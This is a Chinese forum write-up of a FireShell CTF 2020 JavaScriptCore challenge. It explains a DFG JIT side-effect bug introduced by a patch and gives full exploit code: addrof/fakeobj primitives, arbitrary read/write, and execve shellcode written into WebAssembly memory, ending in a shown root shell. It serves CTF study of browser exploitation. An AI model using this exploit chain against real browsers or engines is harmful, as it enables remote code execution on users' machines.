用户
搜索
  • TA的每日心情
    开心
    2019-10-15 11:43
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    5

    主题

    6

    帖子

    157

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-11-15

    i春秋签约作者

    发表于 2020-4-3 12:06:38 02674
    本帖最后由 PwnRabb1t 于 2020-4-3 12:10 编辑

    本文原创作者PwnRabb1t,本文属i春秋原创奖励计划,未经许可禁止转载

    这是fireshell 2020 ctf 的一道 webkit pwn 题目, 比赛的时候没有做出来,赛后复现一下(现在只能算复现了一半)

    题目文件可以从这里下载

    题目分析

    题目描述如下, 不知道作者是不是写错了 commit, 我在webkit 上找不到这个 commit..

    Description: I always loved side-effects on JavaScript engines. I decided to add back a nice side-effect on JavaScriptCore, can you use such feature to read the flag?
    Commit: 830f2e892431f6fea022f09f70f2f187950267b7
    JSC will be running release with --useConcurrentJIT=false on the server
    Note: You script must run within 10 seconds.
    Machine: Ubuntu 18.04 LTS
    Flag: /flag
    Server: http://142.93.113.55:31089/
    Files: jsc, libJavaScriptCode.so, patch.diff

    题目是运行在ubuntu 下的,给了个patch文件

    --- DFGAbstractInterpreterInlines.h        2020-03-19 13:12:31.165313000 -0700
    +++ DFGAbstractInterpreterInlines__patch.h        2020-03-16 10:34:40.464185700 -0700
    @@ -1779,10 +1779,10 @@
         case CompareGreater:
         case CompareGreaterEq:
         case CompareEq: {
    -        bool isClobbering = node->isBinaryUseKind(UntypedUse);
    +    //    bool isClobbering = node->isBinaryUseKind(UntypedUse);
    
    -        if (isClobbering)
    -            didFoldClobberWorld();
    +   //     if (isClobbering)
    +   //         didFoldClobberWorld();
    
             JSValue leftConst = forNode(node->child1()).value();
             JSValue rightConst = forNode(node->child2()).value();
    @@ -1905,8 +1905,8 @@
                 }
             }
    
    -        if (isClobbering)
    -            clobberWorld();
    +    //    if (isClobbering)
    +    //        clobberWorld();
             setNonCellTypeForNode(node, SpecBoolean);
             break;
         }

    它修改了DFGAbstractInterpreterInlines.h 这个文件,它是和 DFG jit 有关的, 去掉了 isClobbering 的检查

    webkit jit 机制

    这里简单说一下 webkit 的 jit 机制

    1.jpg

    webkit 它实现了 四层的 jit,LLInt 是基础的 解释器,用四层主要是从效率上考虑,有一些statement 会执行很多次,每次都重新解释执行太浪费资源了,所以jit 中设置了一些阈值,如果某条statement 或者函数重复执行超过一定的次数,就会启动优化的流程,例如LLInt 到 Baseline 会编译成字节码来执行,四层jit 一层比一层效率更高,如果执行出现错误的话就会回退到上一层的 jit, 这个过程叫做 osr.

    jit 的调试分析可以参考这篇文章 ,里面讲了很多运行相关的参数。

    题目的漏洞是出现在 DFG 这一层,在这一层会做一些代码的优化,比如去掉一些类型检查(每次动态判断类型太耗时),让调用的函数内联化等。

    出题应该是参考了zdi的这篇文章,有很多地方十分相似,case CompareEq 会在== 比较的时候执行,例如运行"1" == 1 的时候就会进入这段代码, 我们看一下给出的poc,运行之后jsc会crash

    var arr = [1.1, 2.2, 3.3];
    arr['a'] = 1;
    var go = function(a, c) {
        a[0] = 1.1;
        a[1] = 2.2;
        c == 1;
        a[2] = 5.67070584648226e-310;//0x686374696c67
    }
    for(var i = 0; i < 0x100000; i++) {
        go(arr, {})
    }
    go(arr, {
        toString:() => {
            arr[0] = {};
            return '1';
        }
    });
    "" + arr[2];

    我们看到poc 做了下面的操作:

    • 定义一个ArrayWithDouble 类型的数组,在 go 函数里 a[2] 赋值0x686374696c67 的 double值
    • 执行go 函数 100000 次( 这会让他进入 DFG jit ,  去掉了一些类型检查)
    • 再次运行go 函数, 这一次运行的是 DFG中没有类型检查的字节码

    注意到最后一次执行go 函数,第二个参数换成了toString:() => { arr[0] = {}; return '1';},  返回值是"1", 在go 函数里面具体体现是c==1 这一句,但是在比较的时候, 因为做了 arr[0] = {} , arr 会由原来的ArrayWithDouble 转换成ArrayWithContiguous 类型, 但是 DFG jit 并不知道类型发生了改变, 依然是把 arr 当做是ArrayWithDouble  来赋值。

    go 函数执行完之后,得到的 arr[2] 被认为是一个 对象,内存中保存的值是0x686374696c67, 所以会crash

    >>> a=[1.1,2.2,3.3]
    1.1,2.2,3.3
    >>> describe(a)
    Object: 0x7ffff2ab76e8 with butterfly 0x7fe0bafe4008 (Structure 0x7fffb26f9800:[0x35f6, Array, {}, ArrayWithDouble, Proto:0x7ffff2ac00e8, Leaf]), StructureID: 13814
    >>> a[0]={}
    [object Object]
    >>> describe(a)
    Object: 0x7ffff2ab76e8 with butterfly 0x7fe0bafe4008 (Structure 0x7fffb26f9860:[0x374c, Array, {}, ArrayWithContiguous, Proto:0x7ffff2ac00e8]), StructureID: 14156
    >>>

    这其实就是 DFG jit 的 side effect 啦,没有考虑到运行代码的中间可以更改对象的类型,clobberWorld 就是用来解决这个问题的,它会把运行过程中的类型更改反馈到DFG jit 里面。

    题目去掉了case CompareEq 的 isClobber 检查,于是我们可以用上面 poc 的代码那样来搞事情。

    漏洞利用

    好的,漏洞知道怎么回事了,接下来就是如何利用了。基本思路还是构造 addrof/fakeobj,然后提升到aarw, 参考我的上一篇文章.

    构造 addrof 和 fakeobj

    前面我们知道 poc里面是把一个double类型看成了对象从而触发了crash, 那不就直接就是 fakeobj 的实现了嘛,addrof 和 fakeobj 的实现如下, 基本上就是改了改 poc, 没有什么可说的

    function addrof(obj){
        var a=[1.1,2.2,3.3];
        a['a']=1;
        var jitme =  function(a,c){
            a[1] =2.2;
            c==1;
            return a[0];
        }
        for(var i = 0 ;i<100000;i++)jitme(a,{})
        return f2i(jitme(a,{
            toString:() => {
                a[0] = obj;
                return  '1'
            }
        }));
    }
    function fakeobj(addr){
        var a=[1.1,2.2,3.3];
        a['a']=1;
        var jitme =  function(a,c){
            a[0]=1.1;
            a[1] =2.2;
            c==1;
            a[2]=addr;
        }
        for(var i = 0 ;i<100000;i++)jitme(a,{})
        jitme(a,{
            toString:() => {
                a[0] = {};
                return  '1'
            }
        });
        return a[2];
    }

    构造 aarw(任意地址读写)

    然后就是 转换到 aarw 了, 这一步我们还是可以用之前的cve-2016-4622 的方法, 伪造 ArrayWithDouble 对象的butterfly 来任意地址读写。

    但是这题目有一个问题,就是他给的程序开启了7 entropy bits 的保护, 具体的实现在commit  f19aec9c6319a216f336a)

    1. On 64-bit, the StructureID will now be encoded as:
    
        ----------------------------------------------------------------
        | 1 Nuke Bit | 24 StructureIDTable index bits | 7 entropy bits |
        ----------------------------------------------------------------
    
       The entropy bits are chosen at random and assigned when a StructureID is
       allocated.
    
    2. Instead of Structure pointers, the StructureIDTable will now contain
       encodedStructureBits, which is encoded as such:
    
        ----------------------------------------------------------------
        | 7 entropy bits |                   57 structure pointer bits |
        ----------------------------------------------------------------
    
       The entropy bits here are the same 7 bits used in the encoding of the
       StructureID for this structure entry in the StructureIDTable.
    
    3. Retrieval of the structure pointer given a StructureID is now computed as
       follows:
    
            index = structureID >> 7; // with arithmetic shift.
            encodedStructureBits = structureIDTable[index];
            structure = encodedStructureBits ^ (structureID << 57);
    
        We use an arithmetic shift for the right shift because that will preserve
        the nuke bit in the high bit of the index if the StructureID was not
        decontaminated before use as expected.

    JSCellm_structureId 字段不在是原来的单纯的数字,而是在最后加上7bits 的随机数,其实就是和aslr 差不多, 2**7 = 128 也就是说我们如果要爆破的话,会有 1/128 的几率会成功, 我们还是可以用 sealo 的方法,喷一堆的对象,然后随机 pick 一个 structId, 1/128 命中的概率也不低,多跑几次就okay. 但是这样就很不优雅。

    google之后我发现 19年 blackhack Europe 上 alibaba 的@ThomasKing2014 分享了最新的绕过思路, 这里是会议的ppt.
    题目名字叫做 the return of slide 应该也是出题人看了这个slide 之后的想法吧

    总的来说就是 jsc 中并不是所有的内建函数都会使用到 structureID, 于是我们就可以通过这些内建函数来尝试泄露出已有的structureID, 然后后面就是我们正常的ArrayWithDouble 的伪造过程了。

    下面是Symbol.prototype.toString.call(fake_symb); 的数据获取流程,这个过程不会用到structureID,
    2.jpg

    基本思路是伪造PrivateName Pointer 然后把 Pointer 指向一个已经存在 的 JSObject , 然后就可以把structureID读出来了。

    3.jpg

    但是我实际测试的时候,并不能达到ppt说的效果(可能是因为我太菜了), 因为这些数据是 存放在 inline 区域的,传入的数据都会被编码,例如我们得到的是 fake_sym, 然后上图的String Pointer 需要伪造成 fake_sym+0x20 这个地址,但是写入的时候因为JSValue的编码的原因会加上0x2000000000000(最新版本不再是0x1000000000000)

    第二种思路是利用 JSFunction object, 调用Function.prototype.toString.call(f)) 会打印出函数的源码,于是还是根据其数据的获取流程,伪造结构体,这里需要伪造三个fake object,

    4.jpg

    说了这么多,但是,上面的方法我一个都没有实际的实现出来(原来我的菜). 搞了许久,最终还是妥协了(后面慢慢学吧,安慰自己..), 因为这里给出的jsc有 describe函数(实际上还可以read('/flag'); 读flag),我们可以直接用这个函数泄露出有效的 structureID, 然后后面就一路光明了,当然爆破也是可以的,我在本地上跑一分多钟就可以命中。

    知道了structureID 之后, 接下来就是套路的构造boxedunboxed

    var unboxed = [1.1]
    unboxed[0]=3.3
    
    //ArrayWithContigous
    var boxed = [{}]
    
    hax[1] = i2f(addrof(unboxed))
    var shared = victim[1]
    hax[1] = i2f(addrof(boxed))
    
    victim[1] = shared;
    
    print(describe(unboxed))
    print(describe(boxed))

    然后是 任意地址读写

    var stage2={
        addrof: function(obj){
            boxed[0]=obj;
            return f2i(unboxed[0])
        },
        fakeobj: function(addr){
            unboxed[0]=i2f(addr)
            return boxed[0]
        },
        read64:function(addr){
            hax[1]=i2f(addr+0x10)
            return this.addrof(victim.prop)
        },
        write64:function(addr,data){
            hax[1]=i2f(addr+0x10)
            victim.prop = this.fakeobj(data)
        },
    
    };

    有了任意地址读写之后, 就是如何劫持执行流啦,这里参考了这篇writeup 是用 写 wasm 的方式, 写入shellcode, 运行之后就可以getshell 了。

        write: function(addr, shellcode) {
            var theAddr = addr;
            for(var i=0;i<shellcode.length;i++){
                this.write64(addr+i,shellcode[i].charCodeAt())
            }
        },
        pwn:function(){
            var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
            var wasm_mod = new WebAssembly.Module(wasm_code);
            var wasm_instance = new WebAssembly.Instance(wasm_mod);
            var f = wasm_instance.exports.main;
            var addr_f = stage2.addrof(f);
            var addr_p = stage2.read64(addr_f + 0x38);
            var addr_shellcode = stage2.read64(addr_p);
            print("&f = " + hex(addr_f));
            print("&p = " + hex(addr_p));
            print("&shellcode = " + hex(addr_shellcode));
            print("current code = " + hex(stage2.read64(addr_shellcode)));
    
            shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
            stage2.write(addr_shellcode, shellcode);
            f();
        }
    

    exp

    完整exp 如下

    var conversion_buffer = new ArrayBuffer(8)
    var f64 = new Float64Array(conversion_buffer)
    var i32 = new Uint32Array(conversion_buffer)
    
    var BASE32 = 0x100000000
    function f2i(f) {
        f64[0] = f
        return i32[0] + BASE32 * i32[1]
    }
    
    function i2f(i) {
        i32[0] = i % BASE32
        i32[1] = i / BASE32
        return f64[0]
    }
    
    function hex(x) {
        if (x < 0)
            return `-${hex(-x)}`
        return `0x${x.toString(16)}`
    }
    
    var structs = [];
    function sprayStructures() {
        for (var i = 0; i < 1000; i++) {
                var a = [13.37];
                a['prop'] = 13.37;
                a['prop' + i] = 13.37;
                structs.push(a);
            }
    }
    
    function addrof(obj){
        var a=[1.1,2.2,3.3];
        a['a']=1;
        var jitme =  function(a,c){
            a[1] =2.2;
            c==1;
            return a[0];
        }
        for(var i = 0 ;i<100000;i++)jitme(a,{})
        return f2i(jitme(a,{
            toString:() => {
                a[0] = obj;
                return  '1'
            }
        }));
    }
    function fakeobj(addr){
        var a=[1.1,2.2,3.3];
        a['a']=1;
        var jitme =  function(a,c){
            a[0]=1.1;
            a[1] =2.2;
            c==1;
            a[2]=addr;
        }
        for(var i = 0 ;i<100000;i++)jitme(a,{})
        jitme(a,{
            toString:() => {
                a[0] = {};
                return  '1'
            }
        });
        return a[2];
    }
    
    sprayStructures()
    var victim = structs[0x300];
    print(describe(victim))
    
    function getStuctureId(){
        var w = "" + describe(structs[0x200])
        var id = parseInt(w.slice(w.indexOf(":[")+2, w.indexOf(", A")));
    
        //function test(){return "test"}
        //leak=[1.1];
        //leak[0]=1.1;
        //tmp1 = {x:1,y:1,z:1,u:1,v:1,w:1}
        //tmp2 = {x:1,y:leak,z:1,u:1,v:1,w:1}
    
        //readline()
        //leak_id =  Symbol.prototype.toString.call(fake_sym)
        //for(var i=0;i<2;i++){
            //print((leak_id.charCodeAt(7+i)).toString(16));
        //}
        //tmp = [i2f(0x0000000b00000002),i2f(addrof(structs[0x200]))]
        //leak_id =  Symbol.prototype.toString.call(tmp)
        //print(describe(tmp))
        //readline()
    
        //tmp = [1.1,2.2,3.3];
        //tmp[0]=1.1; //i32[0]=0x1b32;
        //i32[1]=0x01100300 - 0x20000;
    
        //var idContainer2={
            //jscell:f64[0],
            //pointer:i2f(addrof(tmp)+0x10),
        //};
        //print(describe(structs[0x200]))
        //print(describe(idContainer1))
        //print(describe(tmp))
        //print(describe(idContainer2))
    
        //var idContainer2_addr = addrof(idContainer2);
        //i32[0]= (idContainer_addr+0x20)%BASE32;
        //i32[1] =  ((idContainer_addr+0x20)/BASE32) - 0x20000
        //idContainer.pointer =  f64[0];
        //readline()
        //fake_sym = fakeobj(i2f(idContainer2_addr+0x10))
        //leak_id =  Symbol.prototype.toString.call(fake_sym)
        //print(describe(fake_sym))
    
        return id
    }
    
    var id = getStuctureId();
    print(hex(id))
    
    i32[0]=id
    i32[1] = 0x01082007 - 0x20000
    var container = {
        fake_header: f64[0],
        butterfly: victim,
    };
    var container_addr = addrof(container);
    
    hax = fakeobj(i2f(container_addr+0x10))
    
    print(describe(container));
    print(hex(container_addr));
    print(describe(hax))
    //print(describe(fakeobj(i2f(container_addr+0x10))))
    
    var unboxed = [1.1]
    unboxed[0]=3.3
    
    //ArrayWithContigous
    var boxed = [{}]
    
    hax[1] = i2f(addrof(unboxed))
    var shared = victim[1]
    hax[1] = i2f(addrof(boxed))
    
    victim[1] = shared;
    
    print(describe(unboxed))
    print(describe(boxed))
    
    var stage2={
        addrof: function(obj){
            boxed[0]=obj;
            return f2i(unboxed[0])
        },
        fakeobj: function(addr){
            unboxed[0]=i2f(addr)
            return boxed[0]
        },
        read64:function(addr){
            hax[1]=i2f(addr+0x10)
            return this.addrof(victim.prop)
        },
        write64:function(addr,data){
            hax[1]=i2f(addr+0x10)
            victim.prop = this.fakeobj(data)
        },
        write: function(addr, shellcode) {
            var theAddr = addr;
            for(var i=0;i<shellcode.length;i++){
                this.write64(addr+i,shellcode[i].charCodeAt())
            }
        },
        pwn:function(){
            var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
            var wasm_mod = new WebAssembly.Module(wasm_code);
            var wasm_instance = new WebAssembly.Instance(wasm_mod);
            var f = wasm_instance.exports.main;
            var addr_f = stage2.addrof(f);
            var addr_p = stage2.read64(addr_f + 0x38);
            var addr_shellcode = stage2.read64(addr_p);
            print("&f = " + hex(addr_f));
            print("&p = " + hex(addr_p));
            print("&shellcode = " + hex(addr_shellcode));
            print("current code = " + hex(stage2.read64(addr_shellcode)));
    
            shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
            stage2.write(addr_shellcode, shellcode);
            f();
        }
    
    };
    
    stage2.pwn()

    运行的效果如下,可以成功getshell.

    /fireshell  $ ./jsc --useConcurrentJIT=false exp.js
    Object: 0x7fffb26c6fa0 with butterfly 0x7fe029cc52b8 (Structure 0x7fffb26a61c0:[0x11a55, Array, {prop:100, prop768:101}, ArrayWithDouble, Proto:0x7ffff2abf0e8, Leaf]), StructureID: 72277
    0x1dd94
    Object: 0x7fffb2694000 with butterfly (nil) (Structure 0x7fffb26a3a80:[0x3f76a, Object, {fake_header:0, butterfly:1}, NonArray, Proto:0x7ffff2af6de8, Leaf]), StructureID: 259946
    0x7fffb2694000
    Object: 0x7fffb2694010 with butterfly 0x7fffb26c6fa0 (Structure 0x7fffb26b0060:[0x1dd94, Array, {prop:100, prop512:101}, ArrayWithDouble, Proto:0x7ffff2abf0e8, Leaf]), StructureID: 122260
    Object: 0x7fffb26c7e40 with butterfly 0x7fe029cc1d28 (Structure 0x7fffb26f9800:[0x2896, Array, {}, ArrayWithDouble, Proto:0x7ffff2abf0e8]), StructureID: 10390
    Object: 0x7fffb26c7e50 with butterfly 0x7fe029cc1d28 (Structure 0x7fffb26f9860:[0xd76e, Array, {}, ArrayWithContiguous, Proto:0x7ffff2abf0e8]), StructureID: 55150
    &f = 0x7ffff2a09af8
    &p = 0x7fffaf2f6480
    &shellcode = 0x7fffb2a06c00
    current code = 0x7ff8000000000000
    # id
    uid=0(root) gid=0(root) groups=0(root)
    #
    

    总结

    总的来说,这题目主要就是 structure id7 entropy bits有点麻烦,其他的都还是比较常规的做法,DFG jit的side effect 很有意思, 在比赛环境中要爆破还是可行的。 接下来自己可能要学习一下 web 方面的安全了,一直都是做二进制的东西,web都是一知半解,有错过了好几个亿的感觉,刚好最近在玩浏览器,可以配合学习。

    reference

    https://ptr-yudai.hatenablog.com/entry/2020/03/23/105837#pwn-500pts-The-Return-of-the-Slide

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册